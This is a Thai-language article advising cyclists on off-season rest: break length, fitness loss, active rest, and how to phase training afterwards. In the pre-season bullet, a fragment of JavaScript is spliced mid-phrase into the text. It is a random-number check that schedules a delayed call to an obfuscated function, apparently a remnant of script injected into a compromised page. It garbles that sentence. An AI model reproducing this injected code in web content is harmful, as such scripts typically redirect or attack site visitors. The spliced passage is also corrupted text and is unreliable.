ร่างกายคนเราไม่ใช่เครื่องจักรที่จะสามารถทำงานได้ตลอกเวลาโดยไม่หยุดพัก นักปั่นจะมีช่วงหยุดพักหรือช่วง off-season หยุดพักกิจกรรมปั่นเพื่อให้ร่างกายเเละจิตใจได้หยุดพัก สลายความเครียดที่สะสมไว้ เเต่เราควรจะหยุดพักนานเท่าไหรดี เพราะยิ่งหยุดพักนาน ความฟิตก็ยิ่งลดลง หรือจะมีวิธีพักการปั่นเเต่สามารถกลับมาฟิตได้เหมือนเดิม
ข้อดีของการพักหยุดปั่นจักรยานคือ…ให้ร่างกายได้พักฟื้นและลดความเครียดลง (metal stress) แต่ก็มีสิ่งที่ควรระวังระวหว่างการหยุดพัก ซึ่งได้เเก่…
- น้ำหนักเพิ่ม (Weight grain)
- ความฟิต (Fitness level) และประสิทธิภาพการปั่น (performance) ที่ลดลง
ในช่วงพักหยุดปั่นระยะสั้นๆ 2-3 สัปดาห์ ผลกระทบมีน้อยมากต่อร่างกายนักปั่น ทั้งในเรื่องของน้ำหนักเเละประสิทธิภาพและความฟิต เเต่ถ้าหยุดพักโดยไม่ประกอบกิจกรรมที่ active เลย ประมาณ 2-3 เดือน ทุกอย่างจะกลับมาสู่จุดเริ่มต้นใหม่หมด ช่วงนี้อาจจะมีการเพิ่มของน้ำหนักมาด้วย
ช่วงเวลาที่หยุดพักที่ดี จะประมาณ 2-3 สัปดาห์ ก็เพียงพอเเล้วให้ร่างกายเเละจิตใจได้พักผ่อน เเต่ถ้าเกิดมีการหยุดมากกว่านั้นจะมีวิธีไหนที่จะช่วยรักษาความฟิตของร่างกายไว้ให้ได้มากที่สุดเเละไม่อ้วนด้วย….วิธีพักที่ดีเพื่อรักษาความฟิตเเละคุมน้ำหนักไว้ เราเรียกวิธีการพักเเบบนี้ว่า Active rest หรือการพักที่มีการประกอบกิจกรรมเบาๆ (lower-intensity activities) อย่างเช่น การเดินป่าไต่เขากางเต๊นท์ ว่ายน้ำ การออกไปปั่นเสือภูเขา เป็นต้น
ระยะเวลาหยุดพักจะขึ้นอยู่กับความหนักเบาของการฝึกในช่วงที่ผ่านมา ยิ่งฝึกหนักและมาก ร่างกายก็ต้องการระยะเวลาพักที่มากขึ้น เเต่อย่างที่บอกไป การพักประมาณ 2-3 สัปดาห์ก็น่าจะเพียงพอเเล้ว
หลังจากจบช่วง พักหยุดปั่น การกลับมาฝึกอีกครั้ง ก็ขอให้เเบ่งเป็น
- Pre-seasonconditioning period หรือช่วงปรับร่างกายให้เตรียมพร้อมต่อการฝึกหนักในช่วงกลาง season เป็นการประกอบกิจกรรมที่ไม่หนักมาก อย่างการฝึกเวท เพื่อสร้างความเเข็งเเกร่งให้กล้ามเนื้อ (strength andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and stability work) และคาร์ดิโอเบาๆ
- ช่วงกลาง season เป็นช่วงที่ร่างกายพร้อมจะรับการฝึกหนัก( high-intensity interval training) ได้เเล้ว เน้นเป็นการฝึก คาร์ดิโอ หรือการฝึกปั่นนั้นเเหละครับ
- ช่วงปลาย season ความเข้มข้นก็ควรค่อยๆ ลดลง เเต่ก็อย่าทิ้งการฝึกกล้ามเนื้อ